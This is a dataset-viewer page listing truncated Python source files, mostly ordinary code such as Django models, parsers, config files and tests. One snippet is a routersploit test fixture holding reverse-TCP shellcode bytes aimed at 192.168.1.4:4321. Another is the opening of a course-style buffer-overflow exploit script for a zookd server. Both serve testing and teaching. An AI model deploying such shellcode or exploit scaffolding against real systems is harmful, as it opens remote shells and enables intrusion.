src stringlengths 721 1.04M |
|---|
from collections import defaultdict
def triangle(n):
return int((n * (n + 1)) / 2)
def square(n):
return n * n
def pentagon(n):
return int((n * (3 * n - 1)) / 2)
def hexagon(n):
return n * (2 * n - 1)
def heptagon(n):
return int((n * (5 * n - 3)) / 2)
def octagon(n):
return n * (3 * ... |
import config
import base64
from Networking import Networking
import json
#Security API is the class in charge of the managing tokens and refresh the access token that expires every 3600 seconds.
client_id = config.CLIENT_ID
client_secret = config.CLIENT_SECRET
refresh_token = config.REFRESH_TOKEN
access_token = conf... |
# -*- coding: utf-8 -*-
import re
import warnings
from django.db import models
from django.conf import settings
from django.core import validators
from django.core.mail import send_mail
from django.core.exceptions import ImproperlyConfigured
from django.contrib.auth.models import (
BaseUserManager, AbstractBaseUser... |
from insights.parsers.rabbitmq_log import RabbitMQStartupLog
from insights.parsers.rabbitmq_log import RabbitMQStartupErrLog
from insights.tests import context_wrap
STARTUP_LOG = """
starting file handle cache server ...done
starting worker pool ... |
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the Li... |
# This code requires sympy 1.0 to run
from sympy import *
from sympy.physics.mechanics import LagrangesMethod, Lagrangian
from sympy.physics.mechanics import ReferenceFrame, Particle, Point
from sympy.physics.mechanics import dynamicsymbols
# System state variables
theta = dynamicsymbols('theta')
thetad = dynamicsymb... |
import re
from django.core.exceptions import ValidationError
from django.core.validators import validate_ipv4_address, validate_ipv6_address, MaxLengthValidator
from django.utils.translation import ugettext_lazy as _
from pdns.models import Record
re_record_name_valid_chars = re.compile(r'^((([a-z\d_])|(\*\.))(-*[a-... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Version 3 splits Order into Order and OrderItem,
Shipment into Shipment and ShipmentItem.
Just as Invoice was split from version 1 to 2.
InvoiceItem and ShipmentItem now reference each other.
Invoice number is removed as primary key and placed with integer.
NOTE: Cla... |
# Import required modules
import sys
import random
# Import custom modules
import file
# Definition for a public key
class PublicKey:
def __init__(self, n, g):
# 'n' is a product of the two primes chosen for the key
self.n = n
# 'g' is the public exponent used to encrypt messages
... |
"""Docstring for MyClass."""
import datetime
import requests
from sqlalchemy import Column, Integer, String , create_engine
from celery import Celery
from sqlalchemy.sql import exists
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()
# define o... |
# -*- coding: utf-8 -*-
#
#
# Author: Romain Deheele
# Copyright 2015 Camptocamp SA
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, ... |
#
# Author: Jay Deiman
# Email: admin@splitstreams.com
#
# This file is part of pylibgal3.
#
# pylibgal3 is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# ... |
import logging
import sys
import threading
import time
import types
if sys.version_info[0] == 2:
import Queue
else:
import queue as Queue
logger = logging.getLogger(__name__)
class EmptyRst(object):
pass
class Finish(object):
pass
def run(input_it, workers, keep_order=False, timeout=None, probe=... |
#!/usr/bin/env python3
import os, sys
sys.path.append('../modules')
import numpy as np
import matplotlib.pyplot as plt
import raytracing as rt
import visualize as vis
if __name__ == '__main__':
# Create a relay lens system
components = []
rays = []
image_plane = -100
# System contains two lense... |
"""
Loadable subclass
"""
# This file is part of Munin.
# Munin is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# Munin is distribut... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# TadawulStocks v 0.1 - launcher.py
# Copyright (C) <2014> mad_dev(A'mmer Almadani)
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.... |
from __future__ import division
import os
import nibabel as nb
import pandas as pd
from nltools.simulator import Simulator
from nltools.analysis import Roc
from nltools.data import Brain_Data
import matplotlib
matplotlib.use('TkAgg')
def test_roc(tmpdir):
sim = Simulator()
r = 10
sigma = .1
y = [0, 1]... |
#!/usr/bin/env python
# -*- coding: utf-8; py-indent-offset:4 -*-
###############################################################################
#
# Copyright (C) 2015-2020 Daniel Rodriguez
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License a... |
# vi:si:et:sw=4:sts=4:ts=4
#
# Flumotion - a streaming media server
# Copyright (C) 2004,2005,2006,2007 Fluendo, S.L. (www.fluendo.com).
# All rights reserved.
# This file may be distributed and/or modified under the terms of
# the GNU General Public License version 2 as published by
# the Free Software Foundation.
# ... |
# -*- coding: utf-8 -*-
""" Embedded web server implementation
APACHE LICENSE 2.0
Copyright 2013 Sebastian Dahlgren
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/license... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
This bot unlinks a page on every page that links to it.
This script understands this command-line argument:
-namespace:n Number of namespace to process. The parameter can be used
multiple times. It works in combination with all other
... |
from django.db import models
from django.contrib.auth.models import User
from django.template.defaultfilters import slugify
LOCATION_TYPES=(
('reality', 'Alternate Reality'),
('dimension', 'Alertnate Dimension'),
('galaxy','Galaxy'),
('universe', 'Universe'),
('planet', 'Planet'),
('star', 'St... |
from itertools import count
from collections import deque, defaultdict
from celery.task.base import Task
class Batches(Task):
abstract = True
flush_every = 10
def __init__(self):
self._buffer = deque()
self._count = count().next
def execute(self, wrapper, pool, loglevel, logfile):
... |
import tkinter as tk
from typing import Union
import lib.components as gui
import lib.resourceLib as res
import lib.settingsLib as settings
class ResourceDisplay(gui.Section):
"""Displays a resource like sorcery points or Hit Dice."""
def __init__(self, container: Union[tk.BaseWidget, tk.Tk], resource: res.... |
import argparse
from glob import glob
import os.path
import numpy as np
import pandas as pd
from psi.data.io import abr
columns = ['frequency', 'level', 'polarity']
def process_folder(folder, filter_settings=None):
glob_pattern = os.path.join(folder, '*abr*')
filenames = glob(glob_pattern)
process_fil... |
#!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
from routersploit.modules.payloads.x64.reverse_tcp import Payload
# reverse tcp with lhost=192.168.1.4 lport=4321
reverse_tcp = (
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
b"\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10"
b"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\... |
# -*- coding: utf-8 -*-
"""Pyslvs core module test."""
__author__ = "Yuan Chang"
__copyright__ = "Copyright (C) 2016-2021"
__license__ = "AGPL"
__email__ = "pyslvs@gmail.com"
from math import sqrt, radians
from pyslvs import (
Coord, SolverSystem, pxy, ppp, plap, pllp, plpp, palp, expr_solving,
t_config, par... |
# -*- coding: utf-8 -*-
#
# nova documentation build configuration file, created by
# sphinx-quickstart on Sat May 1 15:17:47 2010.
#
# This file is execfile()d with the current directory set to
# its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All ... |
import sys
from floyd.manager.auth_config import AuthConfigManager
from floyd.client.base import FloydHttpClient
from floyd.exceptions import (
FloydException, AuthenticationException, NotFoundException
)
from floyd.model.dataset import Dataset
from floyd.log import logger as floyd_logger
from floyd.manager.data_co... |
"""
Demonstration of using some of the pyvision tools to
draw polygons on an image and record the shapes,
to crop tiles around the polygons, and use a
tile selector to "QA" the tiles.
"""
import pyvision3 as pv3
import random
def demo():
print("=================================================================")
... |
# -*- coding: utf-8 -*-
#-------------------------------------------------------------------------------
# Name: metrical.py
# Purpose: Tools for metrical analysis
#
# Authors: Christopher Ariza
# Michael Scott Cuthbert
#
# Copyright: Copyright © 2009-2012 Michael Scott Cuthbert and t... |
# -*- coding: utf-8 -*-
# Scrapy settings for crawler project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy.readthedocs.org/en/latest... |
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU... |
import unittest
from config import app
from datetime import datetime
from boardhood.models.base import ValidationException
from boardhood.models.interests import Interest
from boardhood.helpers.validator import is_integer
class TestInterestModel(unittest.TestCase):
def setUp(self):
Interest.db = app.db.ge... |
# coding:utf-8
#file:FileSplit.py
import os,os.path,time
def FileSplit(sourceFile,targetFolder):
sFile = open(sourceFile,'r')
number = 100000 #每个小文件中保存100000条数据
dataLine = sFile.readline()
tempData = [] #缓存列表
fileNum = 1
if not os.path.isdir(targetFolder): #如果目标目录不存在,则创建
os.mkdir(targetFolder)
... |
# Copyright 2014 Scalyr Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, so... |
import json
from mock import patch
from bluebottle.donations.models import Donation
from bluebottle.orders.models import Order
from bluebottle.test.utils import BluebottleTestCase, SessionTestMixin
from django.conf import settings
from bluebottle.bb_orders.views import ManageOrderDetail
from django.core.urlresolvers ... |
"""
Django settings for red_squirrel_api project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR... |
import sys
sys.path.append("..")
from collections import defaultdict
from intcode import IntcodeProcess
UNKNOWN = -1
WALL = 0
OPEN = 1
OXYGEN_SYSTEM = 2
NORTH = 1
SOUTH = 2
WEST = 3
EAST = 4
def explore(instructions):
space = defaultdict(lambda: defaultdict(lambda: UNKNOWN))
def walk(direction, x, y):
... |
# Taken from: https://github.com/BD2KGenomics/bd2k-python-lib
class Expando(dict):
"""
Pass inital attributes to the constructor:
>>> o = Expando(foo=42)
>>> o.foo
42
Dynamically create new attributes:
>>> o.bar = 'hi'
>>> o.bar
'hi'
Expando is a dictionary:
>>> isinst... |
# Copyright 2013 Google Inc. All Rights Reserved.
#
# Use of this source code is governed by a MIT-style
# license that can be found in the LICENSE file or at
# http://opensource.org/licenses/MIT
"""Utilities for use in tests."""
from __future__ import absolute_import
import contextlib
import io
import subprocess
... |
#!/usr/bin/env python3
# Copyright 2012-2017 Jan von Cosel
#
# This file is part of astronx.
#
# astronx if free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) ... |
import add_modify_dialog
import util
import olv_dialog_controller
import wx
from ObjectListView import ObjectListView, Filter
from experiment import Experiment
from experiment_olv import OlvExperiment, OlvExperimentCols
from experiment_controller import ExperimentController
from add_modify_experiment_dialog import AddM... |
import logging
from pyvisdk.exceptions import InvalidArgumentError
########################################
# Automatically generated, do not edit.
########################################
log = logging.getLogger(__name__)
def VirtualMachineFileLayout(vim, *args, **kwargs):
'''Describes the set of files that ma... |
#!/usr/bin/env python
'''
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License")... |
from unittest import TestCase
from authorize import gen_xml as x, responses, cim, arb, aim
class TestAPIUsage(TestCase):
def test_aim_calls(self):
"""
Test that the API calls using AIM are made with the correct parameters.
"""
api = aim.Api(login=u"ciao", key=u"handsome", do_raise=... |
# coding: utf-8
"""
tinycss.decoding
----------------
Decoding stylesheets from bytes to Unicode.
http://www.w3.org/TR/CSS21/syndata.html#charset
:copyright: (c) 2012 by Simon Sapin.
:license: BSD, see LICENSE for more details.
"""
from __future__ import unicode_literals
import operator
impo... |
"""
Views for Concept API
"""
from django.contrib.auth.decorators import login_required
from django.shortcuts import render, get_object_or_404
from elearning_academy.permissions import InInstructorOrContentDeveloperMode
from courseware.permissions import IsOwner
from courseware.models import Concept
@login_require... |
#!/usr/bin/env python2.3
"""
Error window that pops up and displays unhandled errors
"""
from wx.lib.dialogs import *
import wx
import sys, traceback
class ErrorDialog(wx.Dialog):
def __init__(self, parent, msg, caption,
pos=wx.DefaultPosition, size=(500,300),
... |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Competition.organizer_group'
db.add_column(u'competitions... |
import glob
import os
import traceback
from book import Book
from archive import Archive
from functools import reduce
from dataset import DataSet
from ..harness.mapreduce import MapReduce
from ..harness.utils import merge
from ..harness.decomposer import Decomposer
import logging
class Corpus(DataSet):
def __i... |
'''
LICENSING
-------------------------------------------------
daemoniker: Cross-platform daemonization tools.
Copyright (C) 2016 Muterra, Inc.
Contributors
------------
Nick Badger
badg@muterra.io | badg@nickbadger.com | nickbadger.com
This library is free software; you can redist... |
# Copyright (C) 2014 Tito Dal Canton, Josh Willis, Alex Nitz
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 3 of the License, or (at your
# option) any later version.
#
# This... |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding unique constraint on 'Vote', fields ['user', 'day']
db.create_un... |
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
#!/usr/bin/env python
"""PyQt4 port of the richtext/textobject example from Qt v4.x"""
from PySide import QtCore, QtGui, QtSvg
class SvgTextObject(QtCore.QObject, QtGui.QTextObjectInterface):
def intrinsicSize(self, doc, posInDocument, format):
renderer = QtSvg.QSvgRenderer(format.property(Window.SvgDa... |
# Copyright 2013: Mirantis Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... |
#!/usr/bin/python
from sexpy import SExp, tok_STRING
class HtmlNodeType(object):
def __init__(self, name, allowed_children):
self.name = name
self.ac = allowed_children
def __call__(self, context, *args):
if self.ac is None: # not specified
return
for arg in args:
... |
# -*- encoding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (c) 2010 Acysos S.L. (http://acysos.com) All Rights Reserved.
# Ignacio Ibeas <ignacio@acysos.com>
# $Id$
#
# This program i... |
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
# ==============================================================================
# Copyright (C) 2011 Diego Duclos
# Copyright (C) 2011-2018 Anton Vorobyov
#
# This file is part of Eos.
#
# Eos is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as publi... |
'''
' This file is part of redlite.
'
' redlite is free software: you can redistribute it and/or modify
' it under the terms of the GNU General Public License as published by
' the Free Software Foundation, either version 3 of the License, or
' (at your option) any later version.
'
' redlite is distributed in t... |
import psycopg2
from psycopg2.extras import Json
from .collection import Collection
from .errors import IntegrityError, NotFoundError
class Worksets(Collection):
def get(self, workset_id, stats=False):
with self.db.conn.cursor() as cursor:
cursor.execute("""
SELECT
... |
#!/usr/bin/env python
# encoding: utf-8
"""
Waf tool for PX4 build
"""
from waflib import Errors, Logs, Task, Utils
from waflib.TaskGen import after_method, before_method, feature
import os
import shutil
import sys
_dynamic_env_data = {}
def _load_dynamic_env_data(bld):
bldnode = bld.bldnode.make_node('modules/... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright 2010-2016 Eurotechnia (support@webcampak.com)
# This file is part of the Webcampak project.
# Webcampak is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation, e... |
#####################################################################
# sdack.py
#
# (c) Copyright 2021, Benjamin Parzella. All rights reserved.
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foun... |
__author__ = 'Caroline Beyne'
from PyQt4 import QtGui, QtCore
class FrameLayout(QtGui.QWidget):
def __init__(self, parent=None, title=None):
QtGui.QFrame.__init__(self, parent=parent)
self._is_collasped = True
self._title_frame = None
self._content, self._content_layout = (None, N... |
# -*- coding: utf-8 -*-
"""
Created on Fri Feb 21 10:42:55 2014
@author: imenb101
"""
import numpy as np
import matplotlib.pylab as pl
import mne, sys, os
from mne.viz import tight_layout
from mne.fiff import Raw
from mne.preprocessing import ICA
from ctps import compute_ctps
from ctps import plot_ctps_panel
try:
... |
# -*- coding: utf-8 -*-
import os
from getpass import getpass
import click
from .pycolfin import COLFin
verbosity_help = """
1 = User ID, Last Login
2 = Display all info from 1 and portfolio summary
3 = Display all info in 1 & 2 and detailed portfolio
"""
use_env_vars_help = """
Use USER_ID and PASSWORD from enviro... |
# Copyright 2013 IBM Corp.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
# -----------------------------------------------------------------------------
# ply: lex.py
#
# Author: David M. Beazley (dave@dabeaz.com)
#
# Copyright (C) 2001-2009, David M. Beazley
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# Lice... |
#import pprint
from BeautifulSoup import BeautifulSoup
from psrd.extensions.table.general import add_additional_fields, fix_cost, set_subtype, clear_nbsp
def set_damage(weapon):
damage = {
"see text": ('see text', 'see text'),
"special": ('special', 'special'),
"Special": ('Special', 'Special'),
"1d2": ('&mda... |
import argparse
import os
import warnings
from finsymbols import get_nasdaq_symbols, get_sp500_symbols
import numpy as np
import pandas as pd
import prettytable
import quandl
import scipy
def pretty(rows):
table = prettytable.PrettyTable()
table.field_names = ['sym', 'return', 'median daily return', 'varianc... |
# Copyright 2012 NEC Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... |
"""
attar is the global logging and reporting system.
When it's more complete, it can be moved to thritybirds
It is used as a global repository for internal messages: debug, trace, exceptions, events
It writes these messages to the terminal ( std.out ) and a log file, and publishes them on ZMQ.
So messages are availa... |
#!/usr/bin/env python
"""
.. See the NOTICE file distributed with this work for additional information
regarding copyright ownership.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
... |
# -*- coding: utf-8 -*-
import os.path
from pybtex.database.input import bibtex
class unite_bibtex(object):
"""
Name space for unite_bibtex.vim
(not to pollute global name space)
"""
@staticmethod
def _read_file(filename):
parser = bibtex.Parser()
return parser.parse_file(fil... |
from django.db import models
from .users import Blogger, Admin
class News(models.Model):
id = models.AutoField(primary_key=True)
link = models.CharField(max_length=300, blank=True, null=True)
pic = models.CharField(max_length=300, blank=True, null=True)
blogger = models.ForeignKey(Blogger, on_delete=m... |
"""
GeoJSON produces and consumes only strict JSON. NAN and Infinity are not
permissible values according to the JSON specification.
"""
import unittest
import geojson
class StrictJsonTest(unittest.TestCase):
def test_encode_nan(self):
"""
Ensure Error is raised when encoding nan
"""
... |
#
# Chris Lumens <clumens@redhat.com>
#
# Copyright 2013 Red Hat, Inc.
#
# This copyrighted material is made available to anyone wishing to use, modify,
# copy, or redistribute it subject to the terms and conditions of the GNU
# General Public License v.2. This program is distributed in the hope that it
# will be usef... |
# coding=utf-8
import gym
import numpy as np
import os
import pickle
import random
import tempfile
import zipfile
def zipsame(*seqs):
L = len(seqs[0])
assert all(len(seq) == L for seq in seqs[1:])
return zip(*seqs)
def unpack(seq, sizes):
"""
Unpack 'seq' into a sequence of lists, with lengths s... |
# -*- coding: utf-8 -*-
'''Helper utilities and decorators.'''
import time
from flask import flash
def flash_errors(form, category="warning"):
'''Flash all errors for a form.'''
for field, errors in form.errors.items():
for error in errors:
flash("{0} - {1}"
.format(get... |
#!/usr/bin/env python
# -*- mode: python; coding: utf-8; -*-
# ---------------------------------------------------------------------------##
#
# Copyright (C) 1998-2003 Markus Franz Xaver Johannes Oberhumer
# Copyright (C) 2003 Mt. Hood Playing Card Co.
# Copyright (C) 2005-2009 Skomoroh
#
# This program is free softwa... |
# ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 3
# of the License, or (at your option) any later version.
#
# This program is distrib... |
#| This file is part of pyCAF. |
#| |
#| pyCAF is free so... |
""" Test for chat command /help """
import mock
from smserver.chat_commands import general
from test.test_chat_commands import base
class ChatHelpTest(base.ChatCommandTest):
""" Chat unban test """
@property
def chat_command(self):
return general.ChatHelp(self.server)
def test_help(self):... |
from django.test import TestCase
from django.urls import reverse
from django.test import override_settings
from django.core.exceptions import SuspiciousOperation
import mock
from requests.exceptions import Timeout
from agnocomplete import get_namespace
from . import get_json
from . import LoaddataLiveTestCase
from .... |
import re
from botbot.apps.logs.models import Log
from botbot_plugins.base import BasePlugin
import botbot_plugins.config as config
class Config(config.BaseConfig):
ignore_prefixes = config.Field(
default=["!-"],
required=False,
help_text="""
Specify a list of regular expressi... |
# This file is part of Indico.
# Copyright (C) 2002 - 2017 European Organization for Nuclear Research (CERN).
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (a... |
# Copyright (c) 2010-2011, Gabriele Favalessa
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distr... |
# Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... |
import json
from third_party.osgi_monitor import OsgiMonitorService
# default module values (can be overridden per job in `config`)
update_every = 10
priority = 60000
retries = 60
ORDER = ['datasource.pool', 'datasource.perf', 'conn.service', 'conn.auth', 'auth.service', \
'game.tables', 'game.authz', 'game.p... |
#!/usr/bin/python
import sys
import socket
import traceback
import urllib
import struct
####
## You might find it useful to define variables that store various
## stack or function addresses from the zookd / zookfs processes,
## which you can then use in build_exploit(); the following are just
## examples.
stack_buf... |
#!/usr/bin/env python
import gtk, glib, sys, fcntl, os
import gobject
import indicate
class MessagingServer:
def __init__(self, subtype, desktop):
self.indicators = {}
self.actions = {}
self.user_cb = None
self.server_cb = None
self.desktop = desktop
self.srv = indicate.indicate_server_ref_... |
import configparser
import os
class ConfigLoader(object):
def __init__(self, location="../engine.conf"):
config_location = os.path.join(os.path.dirname(os.path.abspath(__file__)), location)
self.parser = configparser.ConfigParser()
self.parser.read(config_location)
self.debug = ... |
# Licensed to the StackStorm, Inc ('StackStorm') under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use th... |
import unittest
import datetime
import time
import ipa_db
import ipa_config
class TestDb(unittest.TestCase):
@classmethod
def setUpClass(self):
self.db = ipa_db.Db(ipa_config.db['test'])
def setUp(self):
self.db.remove_schema()
self.db.create_schema()
def test_adding_trains(s... |
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at https://mozilla.org/MPL/2.0/.
from collections import defaultdict
import itertools
import numpy as np
from .._input_field import InputField
from .dro... |
import os
import subprocess
import pytest
from tests.conftest import make_workdir
from tests.conftest import get_post_process_yaml
@pytest.marks('docker')
def test_docker(install_test_files, data_dir):
"""Run an analysis with code and tools inside a docker container.
Requires https://github.com/chapmanb/bc... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.